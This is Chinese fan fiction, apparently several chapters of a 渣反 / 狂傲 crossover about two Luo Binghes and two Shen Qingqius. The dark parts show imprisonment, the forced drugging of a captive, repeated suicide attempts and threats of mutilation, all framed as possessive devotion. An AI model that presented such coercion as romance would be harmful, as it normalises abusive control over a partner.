这场大战中,冰妹将沈垣囚进地牢,对外游走之际,沈垣逃离,并死在冰妹怀中。后面冰妹独自守了五年的尸体,终于明白甭管‘沈清秋’有多少的异常、多么怪的举止、心中又装了多少零零碎碎的东西——只要他在身边,能睁开眼看他,能听他说话,能摸着冰妹的头微笑,就够了。 他要的不多,只是那个人而已。 面前这个心魔场景,很明显是地牢时期,冰妹因愤怒生气走黑化暴躁线,以暴力将沈垣拉下水后质问对方,接着将沈垣逼至自尽。 人总是得到以后会想要更多,失去以后才感到心口的空荡荡。 而现在的场景,很明显就是‘他’刚从水牢回来,公议萧偷偷潜入后带‘沈清秋’离开的时间段!冰妹绝不允许沈垣再一次死在自己面前,哪怕这个‘洛冰河’看起来并不算癫狂。但只要他见到沈垣为自己自曝,事情的发展就会再一次悲剧! “带我去见他!我要带他走!” “?我的东西为什么要给你?” “你不交,我就自己去!” “所以你要劫狱?为了‘沈清秋’?” “交不交?” “你去又有什么用,他已经死了。” “!你杀了他!” “是他自己杀自己的。” “你看着他为你自曝,就那么看着?” “‘沈清秋’怎么可能因为我自曝,他是没路可走才自裁的,你脑子被浆糊糊住了吗,他怎么可能因为你?” “师尊就是因为我!” “他心中从来没有‘洛冰河’,就算是在你面前自裁,也是走投无路、不得不为之,你还真以为那种冷血冷肺的家伙会对你好?凡靠近又性情大变者,皆是有异常心思!” “我说,他就是因为我!” “有病。”冰哥最后做出总结,转身就走。临走前,还看一眼冰妹:“你还真喜欢上那种从来看不见你的东西啊?你把修真界搞成那个样子,他就算是没死也要被你气死。” “我师尊不会这样!” “哦。是不会因为你的成就而满意,还是不会因为你而情绪波动,还是不会看着被你搞得一塌糊涂的世界而气的半死?” “!!!” “搁着那么多人命,你不会以为他会喜欢你这个罪魁祸首吧?就算是对你展露笑颜,你两心中就不膈应?” “你是他最优秀的弟子,可是他不仅不会看你,还因为你的引动乾坤致使苍生颠覆,最后就算是跟你一起,估计也是害怕你对他下手,不得不为之吧。” “师尊跟我在一起当然是因为爱!” “哦。爱~”冰哥嘴角勾起冷笑:“‘沈清秋’会爱上‘洛冰河’,还真是美好的幻梦呢~他那么爱你,会不会帮你杀欺负过你的人呢?” “他会!师尊说就算他死了,也会护着我不死!” “呵。他杀的是敌对之人,还是亲近之人?如果你要求他替你杀明帆,斩岳清源,他是会笑眯眯的替你动手,还是拼命安慰你,拉住你不要起冲突呢?” “他……” “‘洛冰河’,你还真信‘沈清秋’能爱上你,心甘情愿、毫无芥蒂?欺骗别人可以,洗脑自己,就太过火了吧?” “我师尊就是为了我,绝对是为了我!”冰妹受不得冰哥的挤兑,拔剑就砍。这个梦境造物实在过于毒舌,还完美踩到了‘沈清秋究竟爱不爱洛冰河’这个点上,哪怕是攻击梦境造物会使自己受伤,冰妹也要毁灭这里! 冰哥看着刺过来的心魔剑,快速布下结界,与之对打。 (……) 冰哥与冰妹打架旗鼓相当,只是那玩意就跟有毒似的,嘴里不停说着‘师尊是爱我的’‘把师尊还给我’‘师尊怎么可能不爱我’‘师尊愿意为了我送命’,简直疯魔! 冰哥终于将那唠唠叨叨的玩意撵走,警惕性极高的进入寝殿——心魔剑造成的伤害实在难以恢复,这种重伤的状态实在不适合见人。 “冰河?” “谁?”冰哥看着敢胆大妄为榄自己的人,下意识一掌挥出去,听到熟悉的一声‘诶呦!’ 冰哥看过去,熟悉却许久没见的衣衫身影,以及完全不同的神情。“沈清秋?” 冰哥有些震惊——他刚见到一个‘自己’,现在又看见一个‘沈清秋’,他的地盘是被人侵占了吗?一个两个当他没脾气,敢这样入侵他的空间? 卧榻之侧岂容他人安睡,想到那个自己为‘沈清秋’疯魔的样子,冰哥打算先将人抓起来丢地牢。 遇见敌人,抓住敌人,拷打情报。 这一整个流程完全没毛病。 只是冰哥没想到的是,这个‘沈清秋’居然随便拍了两下后背,嘴里嘟嘟囔囔的说着‘不就是两天没让你睡床,至于吗’,然后又一次榄起他,给他输送灵力:“这是又跟心魔打架了,告诉你多少次不要出手不要出手……” “???” 许是过于震惊,冰哥就那么任他输送了几瞬的灵力,接着猛然将对方推开:“沈清秋!你发什么疯!” 惊恐。简直太恐怖了。 这个‘沈清秋’居然真跟那个畜生说的一样,这么主动!洛冰河长这么大来,还没人敢揽着他的腰,说他年轻气躁,不该打架! “嗯?”沈垣看着闹脾气的冰哥,又看看冰冷空荡荡魔宫,自顾自点头:“走,我们回家。” ‘回家。’ 这个词,莫名有点触动。 ‘沈清秋’揽着‘洛冰河’,说要带他‘回家’。 天知道,他绝对! 冰哥垂下眼帘:会心动的。 他都打下三界了,这么大的功绩,他的沈清秋还依旧安稳的带在地牢,就像是所有考核弟子般的严师一样,问他后续处理的如何,有没有实行仁政,有没有妥善处理战俘。 在得到‘修真界根尽数毁灭’‘修真者被满天下追杀’‘凡尘人族主动上交宝物’后,气得自裁。 他以为他是谁?一个阶下囚罢了。现在居然还想摆出尊师的架子,要求他合理处理战后事宜,尽可能保全其他人。如果洛冰河不同意,就会气得吹胡子瞪眼,以死谢天下吗? 他自己都没办法保全,要不是地牢人越来越多,冰哥也不喜欢虐待俘虏,沈清秋自己都得死的死、伤的伤!哪里还能端着严师文臣的气节跟他扛来杠去? “走。”沈垣抱着冰哥,架起修雅,向苍穹山飞去。 冰哥很好奇,这个‘沈清秋’是会带他去完好的苍穹山,还是被他围剿后的苍穹山?换句话说,究竟是他误入了别人的世界,还是别人入侵他的地盘? 这一点很关键。 —— 跟‘沈清秋’在一起御剑飞行,还是统一柄剑,被别人揽在怀里这个姿势,对冰哥来说很新奇。 他比‘沈清秋’要高大,对方的身躯更要清秀娇小一些,如果是‘洛冰河’揽着‘沈清秋’,应该会更为合适。 当然,现在情景交换,冰哥也能勉强接受——高空之下是已经恢复生息的修真界,眼前的苍穹山看起来很是高大巍峨。 看来,真正的入侵者,是冰哥自己啊。 这么说,这个世界,也可以考虑征战一下。只是那个‘洛冰河’的战力不低,这场仗恐怕不好打。 “师尊!”宁嘤嘤看见两人,笑嘻嘻的迎上来:“掌门师伯刚才差人喊您,您要不要过去看看?” “嗯。”沈垣点点头,带冰哥进入竹屋:“冰河,你先好好恢复,为师去去就来。” ‘为师。’ ‘冰河。’ 这两个词,冰哥也没听到‘沈清秋’喊过。 这一刻,冰哥做出了和冰妹一样的操作:虚弱的咳嗽一声,然后用眼睛看着对方。 这不是卖萌!是示敌以弱! 冰哥面上柔弱,眼底却翻涌:沈清秋,我不信你如表现出那般‘温柔’,在岳清源的传唤和‘洛冰河’的无声阻拦中,你选择谁? 面对‘洛冰河’的乖巧卖萌下,沈垣当然……选择留下啊!掌门师兄如果有事会直接发急件的,‘冰妹’的安抚才是最重要的! 故而沈垣将床榻收拾整齐,示意冰哥坐上去:“脱衣服。” “?”冰哥突然觉得不有趣并且还有些惊恐了。 ‘沈清秋’如此热情直白的吗?这不是师徒,是伴侣吧?怪不得那个‘洛冰河’一副为沈清秋而战的狂热样子,如果是‘夺妻之恨’的情况下,对方的行为倒也有迹可循了。 “想什么呢!”沈垣轻轻踢了冰哥一脚:“给你处理伤口!” “哦。”冰哥磨磨唧唧的除去外衫,瞄沈垣一眼:这家伙好像眼里确实只有紧张和心疼。 很好。他的身子应该能保住。 不对。 冰哥突然扯了下嘴角:他为什么会突然想到这种问题啊。而且就算是睡了,也是他占便宜,干什么扭扭捏捏? 不过‘沈清秋’和‘洛冰河’赤城相见这种事……冰哥还真是第一次,去思考。 沈清秋那个老古板又天天绷着脸的性子,一天天人前装的跟什么儒家典范似的,私底下却没事就流连花海,当真将外表严肃和内在闷骚展现的淋漓尽致。 不过他到也还算有分寸,至少从没出现过山下有女人寻来闹事的情况。唯一一个有关系的女子,就是让冰哥用来设局的秋海棠。当时秋海棠怎么说来着?好像是,从小就是看起来沉稳乖巧,实际上桀骜不驯、犯下灭门惨案? 再加上沈清秋诛杀柳清歌一事,‘沈清秋乃是虚伪刻薄之人’的事情被定的死死的。再加上宁嘤嘤出来作证,说沈清秋对门下唯一一个女弟子有过想法,两人相处过于密切。‘沈清秋’的君子声名,直接被毁的粉碎。 但奇怪的是,即便是‘沈清秋’被实锤生性风流,又长了那样一张招蜂引蝶的脸和消瘦纤细的身姿。凭借其冷若冰霜的为人处事和淡漠无情的行事作风,即便苍穹山小道消息风流韵事不减,却没人真敢对他表达什么。 这就导致,面前那个‘沈清秋’主动让冰哥坐在属于他的床铺之上,要求冰哥脱去衣服,帮他处理伤口时,冰哥下意识的不敢相信和有些脸红。 一个老古板的主动邀约,即便是明知道眼前这个不是本人,冰哥还是下意识将人带入,并且狠狠唾弃了一下自己。他怕个蛋啊!眼前这个根本没认出自己,地牢里那个现在还昏迷不醒,无论哪方面,冰哥完全不该怂的好吗! 实在不行……睡了对方之后,把人带回去当皇后,让三界都尊重点他,给予他无上权势,还不够弥补和宠爱吗? 而地牢里那个,治好之后放出去,任他研究什么仁道君道的,或者干脆没事打上几架,随便任命个将军国师什么的,让他去替自己除理战后事宜,发挥余热去吧! 虽说见识到‘沈清秋’的风采后冰哥也有点想把老古董修正成这样,但是强扭的瓜不甜,他还不至于饥渴成这样。男人的身躯还是过于硬朗,若不是这个人是‘沈清秋’,冰哥更希望和柔软甜美的小姐姐贴贴。 冰哥将内衬去除,露出满身伤疤——其实也还好,天魔血的治愈能力很强,这点小伤几天就消除了,完全没必要专门涂药。只是‘沈清秋’既然有心给他上药,冰哥又怎会拒绝呢? “哎。”冰哥听到了‘沈清秋’的叹息。就像是真的在为他而疼惜,为他而在乎一样:“冰河,为师说过多次,不要与梦境造物对打,不要与之对打,你怎么就不听呢?” “看看,又是满身的伤痕。” “!!!”冰哥眼神亮了一下,下意识想抓住身后‘沈清秋’的手腕。 ‘沈清秋’居然在关心‘洛冰河’,不仅细致的给他上药,细细碎碎的言语中,温情与在意简直拉满。 这个认知冲刷着冰哥的心神,竟有一刻产生了占有欲——这个‘沈清秋’,即便身上充满了别人的味道,但弄走也不亏。 冰哥得承认自己不是什么好人。杀戮覆灭了无数生灵不说,现在还对别人的所有物起了心思。只是那又如何呢?他想要得到的,就要弄到手。那个小畜生想保证自己的东西不被抢走,就要保证能打得过他才是。 赢着通吃,输者痛哭。这世道本就如此,冰哥并不觉得自己的行为有什么不对。 只是眼前这个既然没发现‘洛冰河’已经换了人,冰哥陪他玩一段时间段过家家,又能花费什么力气? “师—尊—?”冰哥扭头看眼沈垣,试探着呼喊。沈清秋可从不会回应他,当然他们两个单独相见的机会几乎没有,冰哥一般都融在人群里面,哪里会得到和沈清秋交流的场景? “嗯。”沈垣认真帮冰哥打好绑带,将接头的蝴蝶结打得方方正正。 “师尊。”冰哥又喊一次。 “嗯。” “师尊——”“师尊?”“师—尊——” 沈垣虽然好奇‘洛冰河’今天怎么突然这么黏人,却还是一一应了。语气是十分的容忍和十二分的温情,性情平和而包容性极强。 很好。 冰哥单方面宣布,这个‘人’,是他的了。 别管这个‘沈清秋’究竟什么原因没认出来区别,也别管他的温情究竟是对着谁。他既然对冰哥付出了柔情,那就是主动勾引于他,佳人相约,冰哥岂有将人放走之理? 两人本在一个喊一个应,却突然听到外方有声音响起:“柳师叔,师尊休息了!” “说过多少次,他可以回来,那个不行!” 柳清歌怒气冲冲的声音从外面传来,一脚踹开竹屋的门,拎着乘栾剑直指冰哥:“魔族的杂种,滚出苍穹山!” “呵。”冰哥冷笑一声,手中捏着心魔剑就想打。他听到过无数沈清秋与柳清歌不合的传闻,如今终于相见,不打上一场,算不得痛快。连岳清源都能死在他手中,整个修真界残余被他撵得如丧家之犬,鲜少碰上如此烈性之人了。 冰哥改变主意了。 他不想带面前这个‘沈清秋’走。 而是想占领这个世界。 开疆扩土、收拢版图。本就是男儿心之所向,而今既然遇见,为何不一同打下来? 只是这个想法还没来得及实施,就被沈垣压了下来:“柳师弟,这里是清静峰。” “除魔卫道乃修真者天性,魔族的杂碎不能出现在苍穹山,尤其是他!” “柳师弟,我说了,这里是清静峰。柳师弟若心生不满,要么跟我打,要么找岳师兄下达指令,沈某今后不回来就是。” 冰哥看着将自己护在身后的沈垣,心中突然想起来口口声声对他说‘师尊就是为了我’‘师尊说就算他死了,也会护着我不死’‘我和师尊在一起当然是因为爱’的冰妹。 ‘真刺眼啊。’ 冰哥想。 眼前这个护着自己的‘沈清秋’,居然不是自己的。最重要的是,他还将自己认成了其他人,对自己像是母鸡一样,护着身为三界尊主、举世无敌的冰哥。 沈垣对‘洛冰河’越好。 冰哥就会越嫉妒。 这是人之本性,是骨子里的恶劣。 决定了,这个‘沈清秋’他一定要搞在手里,如果不能,就用点手段搞到手里。没道理他现在能对冰哥这么好,识别身份之后,却又收回吧? 如果真是这样…… ‘沈清秋’,相信你会重新对我付出温柔的。 ———— 洛冰河看着缓慢睁眼的沈清秋,想了想另一个世界的师徒,调动脸上肌肉,勾起一个僵硬阳光的温柔笑容:“师尊,你醒了。弟子等很久了。” “?”沈清秋睁开眼就看见这个不争气的玩意,下意识冷哼一声:“本尊从没有你这种灭世魔头的徒弟。你还不如让本尊死了算了,总比被你这种不肖子孙气死的好!” “……”爹味和班味有点过重了! 真是贴脸开大啊,洛冰河准备了许久的言辞,直接被打了个措手不及。原本想着会出现的温馨泡泡全部化为乌有,脸上避无可避的挂上愠怒:“沈清秋!是不是地牢没人伺候你,让你这么作!” 明明那个世界的‘沈清秋’还温柔的冲他笑,心疼的为他上药,告诉他打架不要弄伤自己!咋的自己的沈清秋睁眼就不认人,还口口声声说他要被洛冰河气死? 虽然人和人不能随便对比,但这个场景未免也有些过于惨烈了吧?他还啥都没干呢,沈清秋就给他判了死刑并且艰巨拒绝? 许是洛冰河被雷劈的表情过于明显,沈清秋乘胜追击: “小畜生,你把外面搞成那样,还指望本尊能对你有什么好脸色?修真界直接被你断了根,凡人更是被当成蝼蚁大片死亡,你让我活着做什么,还是干脆将我弄死算了!” “……”所以你怎么这么大义凛然,站在道德制高点讽刺我啊!明明是你先将恶意倾注于我,我才将恶意回馈给你好吧! 洛冰河看着完全不想和自己聊天的沈清秋口不择言:“那些人的死生与你何干,你非要因为他们跟我犟是吧?逮着我的错处道德绑架,好用来突出您多么的圣白无洁?” “不说那些,清静峰被烧成白地,苍穹山沦为荒野,这些你又怎么说?你这畜生毁地灭世,本尊早该一剑砍了你!” “你没有吗?无尽深渊之时,你不是直接想让我死,将我踹下悬崖,自生自灭吗?” “那当时怎么没有摔死你这个杂种,竟让你这个祸害活下来了!” “沈清秋!”洛冰河忍无可忍,将手中给对方准备的药碗砸在地上摔成碎片:“弟子费劲心机才让你活下来,你非要这样?” “畜生还能有着善心?你将我治活也绝对心怀不轨!” “我……”洛冰河张张口,看着与自己针锋相对的沈清秋,脑子里不由自主想起来对方那对碍眼的师徒——即便那对充满了虚伪,但表象也是温情的。 真实的残忍和虚假的温情,究竟那个才更可怕? 随着洛冰河将瓷碗砸碎,门外出现瑟瑟发抖的侍卫:“魔尊大人,xx处发生政变,您……” 洛冰河随手让人将地面收拾干净,向前跨上一步,直接捏着沈清秋的下颚,恶狠狠威胁道:“师尊,如果弟子回来发现您没有养好身子或出逃外界,相信地牢里没受过的那些,您应该不想试一下。” 沈清秋下巴猛的撤离,右手将洛冰河的手拍掉:“有什么手段就使出来,喊一句疼本尊跟你姓!”接着立刻坐起来背靠床榻,右手成剑指:“装什么温情款款,不觉得恶心吗?” “……”看着张牙舞爪的沈清秋,洛冰河挑挑眉,友情提醒道:“师尊,你且试试看,灵力能用出来吗?” “!!!” “师尊乖一点,弟子就给你解开束缚。您要是非让弟子用别的手段,等弟子回来,好好跟您比划比划。” ———— 洛冰河是天道之子。所以他找到了一款药,能令吃下这颗药的人心智退化,无意识对另一人产生依赖,并且心中藏不住事。 洛冰河毫不犹豫的塞到沈清秋嘴里,紧紧的,盯着他。 然后毫不意外的,被沈清秋毫不留情的从头骂到尾,将他批评的低如尘埃。 洛冰河忍不住反唇相讥,又听到了沈清秋关于自己的极致贬低,讲到最后甚至恨不得自裁。 洛冰河一开始还听着很爽,后面越听越不对劲:沈清秋对自己的评价如此之低,自杀的几率风险真的很大啊! 这款药的效果有些过强了。 洛冰河反复‘救人’,最后恨不得将人捆在身边:“沈清秋,别没事就寻死!” 只是沈清秋的找死之路,越发频繁。 —— 沈清秋真是好样的。 洛冰河手中捏着属下传来的急报,将他捏成了碎片。转头划破空间,看着闹绝食和自杀的沈清秋,揉了揉眉心:“说,这次是因为什么。” “我在世间连个同类都没有,修真界被你搞成那个样子,活着做什么!” “……”洛冰河将人压下来,扯扯嘴角:“就那群人的躲闪能力,修真界的杂碎怎么可能灭绝?不出百年,修真界就又恢复了。” “那你为什么留下我?” “……”洛冰河更心累了:“虽然我很烦你别扭什么也不说的性子,但现在你这样直白,我怎么更无力了。” “哦。”沈清秋摊摊手:“是你非要给我喂的,反正这些情感留在心里憋的我难受,必须要拉着你一同头疼。” “……” “师尊,别闹。回头带你征战另一个世界,把他们给你转过来,修真界就有人了。” “死去的人怎么可能恢复 ,即便是一模一样,又怎么可能同日而语?而且还一模一样的世界,小畜生你别骗我!” “是真的。”洛冰河将人按回去:“弟子现在去解决xx,马上回来陪你。” “本尊不需要你陪!” “是是是,弟子马上回来。”这丫的,和养了一个好大儿有什么区别? ———— 冰哥在远处操纵天魔血,沈九遍地打滚。 沈垣看不下去,让冰妹上去喂血。沈九一脚将人踹开,便恶狠狠喘气便骂:“怎么,这是不相信我,所以要将我的命捏在手里才满意?” 岳清源看不下去,张口说道:“小九,他也只是好意。” 沈九张嘴就骂:“别叫劳资小九,你的‘清秋师弟’在你旁边呢,现在说什么劳资说出来大家一起帮忙,你倒是问一下柳清歌,若是他死在‘沈清秋’手上,身边还站着一个灭世魔头,看你们还说不说‘相信’!” 柳清歌实在看不下去,站出来:“沈清秋,你现在站都站不稳,还有闲心思骂人,这张嘴到底怎么长得。就凭你现在的样子,除了拖后腿能做些什么?” “所以你就是在嫌弃劳资是累赘,柳大少放心,即便是沈某人灵力尽失,但武功招式和血脉禁术依旧能用,杀一个你还是轻轻松松!” “……”别骂了别骂了! 沈垣扯扯嘴角。原主这是在和柳清歌打嘴仗吗?这是在嘲讽中了无可解后什么招式也使不出来,专门跑到百战峰去学艺的自己啊! 原主当真是大佬啊,就算是身处天魔血的折磨之下,光凭这一张嘴能把所有人都给得罪透彻。怪不得除了岳清源,没人敢接近他。大概也就柳清歌这个脑子里只有打架的,才能接近个半分。 “师尊。”远处的声音传来:“您要是再不回来,弟子只能废去您喜欢乱跑的双腿,让您永远走不了路了呢。” “!”沈垣听见熟悉的声音本以为是喊自己,下意识抬头看向冰妹。冰妹正被沈九气得要死,手腕上划出的痕迹还在流血。 远处冰哥的声音继续传来:“或者说,废去您这张跟其他人打情骂俏的唇舌,挖去您与旁人深情对视的双眼,割去您的双耳与双手。让您只能陪在弟子身边,也是可以的。” “……”无语,就tm无语。 沈垣和尚清华对视一眼,心中对世界的真实性产生了极大的疑惑:‘渣反’与‘狂傲’世界相通已经很奇怪,怎么现在‘狂傲九’的结局,竟像是‘征战渣反世界’后失败的成果? 岳清源蹲在沈九一旁,试图以灵力为沈九压制天魔血:“小九,你……” “岳掌门不就是怕我跟他是一伙的,以苦肉计进入你们大营,直接被偷了家吗?既然如此,又何必假惺惺的跟我作相认的戏码,还作什么兄弟情深的样式?” “沈清秋!”柳清歌的性子直率,看着满头汗的沈九,气不打一处来:“被魔族威胁有什么不好意思的,你现在疼成这个样子,还要逞能到什么地步!” “柳清歌!劳资这一生虽不能说什么错也没有,但从不可能和魔族同流合污!什么受魔族威胁不得不潜伏,你若是信不过劳资就现在打一架,等你死在劳资手上的时候,再跟劳资说这些有的没的!” “你们不就是觉得劳资来历不明,不可信吗?身边那个魔族你们怎么就信了?还在跟那张脸的另一个主人对打时,放任他进入防范范围?” 看到战火波及到冰妹身上,沈垣连忙将冰妹护在身后:“他不是奸细,更不能帮冰哥!” 此话一出,有人开始疑惑‘冰哥’? ‘糟糕!’沈垣暗探一声,连忙扭转战火:“现在是两个世界的战争,‘洛冰河’是我们世界的人,当然不会跟对面一道。” “所以最该怀疑的,是来自另一个世界的人!”尚清华连忙接了一句,继而立刻隐身。 现在的局势错综复杂,就像是一切混乱的狼人杀,黄瓜兄如果被投出去,和他源于同一个地方的尚清华也难免出问题! 第一章他们的故事,从死亡开始 人的一生,就是在赶赴死亡。 而少年心气,便是支撑新奇与探索的,最强外挂。 ———— “取酒来。”沈清秋看着洛冰河手中的残剑,只提出这一个要求。 酒水很快被送过来,洛冰河亲自替对方以内力温热,斟满后送至沈清秋面前: “举杯邀明月,对影成三人。师尊,您想与谁共饮此杯?” 沈清秋瞥他一眼,虽居于阴冷地牢,却因其主人端正整洁,连破烂土墙都像是泼墨山水。精致的玉瓷杯被捏在指尖,与那张浅色薄唇一触即离。 “文人墨客醉花间,拔剑啼血独沧然。” 沈清秋的右手纤细修长,可提笔写诗、亦可拔剑砍杀。行走在岁月的洪流里,脚边是退潮后遗留在海岸边的时光碎片。在这场繁杂的回忆中,他从一个人,途径一群人,接着,又重新回到只剩自己一人存活。 “师尊,您现在身边只剩下弟子了。” 山月随人归,在这场充满了血与火、由人命堆起来的战役里,胜利者,是洛冰河。 而赢家,理所应当的通吃。 沈清秋取过能让三界至尊的洛冰河亲自送过来的断剑,认真的打量着。 一柄,吸满了修真者血精、看起来完全不正统的剑。 只是这样‘歪门邪道’的物件,却一直被修真界第一大派的掌门人,时时刻刻背在背上,卡在腰间。怎么不算灯下黑呢? 早在洛冰河看见这把剑的时候,就忍不住笑着摇了摇头。送剑过来的小役不明所以,还专门解释了一下: “尊主,此剑邪性的很,似乎吸收了一个人整个身体的血脉用以滋养,强行达成人剑合一、心意相通的目的。” “下去。”洛冰河将人撵人,伸手将残剑吸来。其剑身颜色黑红,上面隐约露出一个‘肃’字,开双刃、带血槽。剑柄之处并未缠上绷带,也无剑穗等装饰。 以此剑的材质来说,执剑人位高权重;以手柄处的磨损来看,持剑人平日里鲜少拔剑对打、威慑意义大于战斗意义。再加上一个‘肃’字,拥有者是谁,洛冰河在清静峰待上快十年,并不难猜。 而今。如果他将这把剑拿给沈清秋,他的好师尊,对此会作何评价? 或者说,给沈清秋一把断剑,沈清秋会用它做什么? 沈清秋随便拿着断剑在左手手腕划过,以鲜血破解灵力束缚。恢复灵力的方法他了然于心,只是从那场会审后,沈清秋的身躯似是被什么控制,除了静静的睁开眼睛、茫然的等待,什么也做不到。 以沈清秋的聪慧,他早就预料到抬眼可见的终点。就像是远处驶来的大船,向既定的海岸放下沉重的锚;像是一个夜里伸手抓住的萤火,终于在次日清晨失去光亮。 而现在,故事已经走到终章,他终于能……夺回身体的控制权。 可—— 一切早已尘埃落定,所有人同伴都死去的仙尊啊,即便是你取回曾经的实力,又能做什么呢?是赌上一切去拼杀面前这个罪魁祸首,还是跪下膝盖低下头颅,祈祷曾经的弟子对你高抬贵手呢? 沈清秋撇眼牢房中桌边酒水,随手一挥,景象快速翻转,一场由阵法构建的幻境迅速出现。他淡淡看了一眼洛冰河,抬脚踏入由回忆构建的幻阵之中。 殷熏的茶香里,一个比沈清秋更端庄儒雅的老者左手捧着书卷,右手轻飘飘的翻过一页。抬头看眼被穹顶峰首席带来的小少年,笑的温雅: “小家伙,你一定走了很远的路吧。喝杯茶,之后就跟在我身边。” 少年沈九混身散发着尖锐的杀气与泥土里打滚的戾气。他抬头,看着与自己截然不同的温雅君子,伸出不知染了多少人鲜血的手掌,垂眼盯着其中深刻的纹路: “我……” 他这样是满手血液的人,满身泥土腥味的人,平日里若是靠近这些贵公子三尺之内,都会被撵出去抽着打。可面前这个老人,却……邀请他喝茶。 “既然上了山,自然是前尘皆忘,所有恩怨情仇,都不该再扰乱你的现在。” “你不问我伤了多少人,犯下多大事?” “那是你的来时路,亦是你的骨中血。记得,是你选择;忘却,亦是自己选择。而我能做的,就是请你喝杯茶。” 沈九从没听过有人这样与他心平气和的聊天。也不曾有人会不问他的过往,不问他的曾经,不需要他费尽心思的遮掩和编纂谎言。 那一刻,他终于感受到了来自长辈的关怀。如同河流黄土般,厚重而儒雅的包容。 凡尘之中,这种关系会被称为……“师父……” 沈九虔诚的跪在地上,为对方献上心悦诚服。师父,如师如父。 “乖。”老峰主站起来,轻抚少年的额头:“叫师尊。” 仙人抚我顶,结发受长生。 少年郎,自此尘缘皆断,一心向道。 ———— 旭日初升,云雾飘渺,山间草木全然染上金黄。山涧河道犹如奶白玉带,丹顶仙鹤与林间异兽彼此相喝。 沈九与老峰主站在清静峰最高处,清冷晨风拂过,单薄衣衫并未感到寒冷,衣诀飘飘,脱尘若仙。 少年伸出手,手心照射着清晨的第一缕阳光。他面色如玉质温润,双目亮如星辰,举手投足之间,已有君子之相: “我不喜欢‘秋’。” “嗯?” “肃杀凄冷,要它作何。” 老峰主闻言,遣出一道清风,送两人至岩泉瀑布处。修行之道,本就千山万障,心有不顺者更会困于执念,一着不慎,误入迷途,轻则修为倒退,重则走火入魔。 此时若有人能够点拨通透,自是能拨云见雾,如流水而下,道法自然。 “硕果累累,千秋万代。若因过往而舍弃现在,未免执念太深,画地为牢。” 老峰主无意去探寻最宠爱的小弟子究竟发生了什么,那无异于再次破裂他的伤口。却也不能视而不见、听而不闻,就这样任他发烂发臭,败絮其内。 “我不喜欢。” 十多岁的少年郎看不懂山河日月,也听不出瀑布飞泻的呜鸣中,蕴藏着怎样的山水意境。 所谓‘行至水穷处,坐看云起时’,于忘忧止心中静待水到聚成的那一刻,虽符合道家真性,却少了那一份与天争利的气魄。 天行健,君子以自强不息。自该锐意进取,不惧艰险。有志者,天自助之。哪管什么来路狼狈,步履蹒跚,一味等待所谓的时机和天道的施舍,如何能有今日境遇? 常言道‘天衍四九,人遁其一’,若什么都不争,如何目透重烟迷雾,于千军万马之中,夺取唯一胜解? 少年沈九,又怎么能凭借一身孤勇走出凡尘,成功见到清静峰老峰主,得到他的赏识与关心,成功甩掉腿上泥点,修的一身君子外皮? “那就,重新书写这个字的意义。” “?” 少年郎正一身郁气无处发泄,被孔孟之道层层锁住,一言一行合乎礼仪,却不合少年心性。将自己装入君子的模子里,可他本身的内在,依旧鲜活如凌空飞雁,受不得规矩律例的束缚。 而今,沈九终于表达自己的不满,原以为会受到打压,却不料…… 老峰主给了他另一个解释。 沈九抬头,看向温和揉向他头顶发旋的老峰主。清晨的阳光并不刺眼,飞流直下的瀑布旁,生有彩虹霓桥。 老峰主的话语如烟雾般轻柔,其中蕴含的几丝安抚与挑衅,拌随着微风散入沈九的耳边: “清秋做不到吗?” 沈九脸颊微红,躲开老峰主的摸头杀,扭头看向半空的飞鸟: “你是师尊,我说不过你。” 老峰主笑声爽朗,手掌拍于沈九肩膀,悠悠的许下——让沈九花费了几辈子,才堪堪完成的故事。 “那清秋儿便好好读书,好好利用过目不忘之能。” ———— “柳清歌!劳资迟早要杀了你!” “呵——说大话谁不会。” 少年沈清秋与柳清歌打得热切,衣袂翻飞间,尽是少年意气。 “这个毒药不行,柳清歌皮糙肉厚,完全没反应。” “我已经增加了痒痒粉,他竟然还能抵抗?” “这个针不够稳”沈清秋唰一下把折扇打开,指着扇骨间的缝隙:“他必须要和这里严丝合缝中略细一些才行,要不然我还没来得及控制,针就会乱飞。到最后还是以灵力操控,和随便从路上捡个石子有什么区别?” “好。” “另外,我觉得细针应该是专破罩气,却不知为何,就是破不了柳清歌的防。” “你就没想过是自己能力太差?” “谁?”沈清秋瞬间扭头,气得要跟对方‘商讨’‘商讨’,这人居然说他武功不行,敢跟他打一场吗? “!”在看见身后之人时,沈清秋立刻将另外两人护住,右手在身后猛挥,示意他们赶紧走:“柳清歌?!” “我就说一个野路子怎么能有层出不穷的暗器和下九流的毒药,原来是你们两个在搞鬼。” “柳清歌!你说话不要阴阳怪气,什么暗器,什么毒药,这是自由发挥的业余爱好!” “柳师兄,这其中就是些痒痒粉、辣椒面之类的,哪里能称为‘下九流’……” 柳清歌不听,只一剑挥出,要与三人对打。沈清秋这玩意已经够下流无耻,现在居然发现还有帮凶,这柳清歌能忍?必定要将这群狼狈为奸的玩意打个落花流水! 四人大战,柳清歌以一敌三,阵势浩大的引来了齐清萋,她一手软锦将众人分开,看着被打出真火的柳清歌与沈清秋,还有旁边两个神色闪躲却又满脸不忿的木清芳和魏清巍,实在不明白几人怎么搞一块去了。 柳清歌是武痴属性的世家大公子,一张嘴将所有人嘲讽拉满:“你们加一块都打不过我,只能走这些歪门邪道。” “!!!”这下连齐清萋都被骂进去了。她原本只是好心劝架,居然被这个剑修诋毁‘除了剑全是歪门邪道’? 一群人将柳清歌围住,十八般武艺样样俱全,势必要将这个不知天高地厚的玩意打得哭爹喊娘! 最后的结果是引来了百战峰老峰主。老峰主的笑声爽朗直击天际,拍着大腿跟其他赶来的峰主炫耀:“我的弟子,可是以一敌五,连后面赶过去的岳清源都插手了,也没能拦下!” “……”穹顶峰老峰主看着本该调和却为了沈清秋也插手的岳清源,气不打一处来:“你还记不记得你该干嘛!让你过来解决问题,你过来欺负师弟?”“是他先动手打小九的!”岳清源愤愤不平:“如果他刚才那一下不冲着小九手腕,我才不会插手!”果不其然的挨了一个暴栗:“你是下一任掌门!”“可是我小九的兄长!”“你是所有人的兄长!”“……” 旁边,千草峰老峰主看着木清芳,眼神狭促:“让你自由发挥,连个毒药也不敢?”“师尊,弟子怕真惹出事来。”“现在不还是惹出来了?”“这是……意外。”“怕什么。”老峰主摸了摸木清芳的额头:“只要不是见血封喉的剧毒,师尊都能解。”“?”木清芳眼睛亮了:“所以……”“我可什么都没说。”老峰主打官腔。“弟子也什么都没问!”木清芳回以心照不宣。 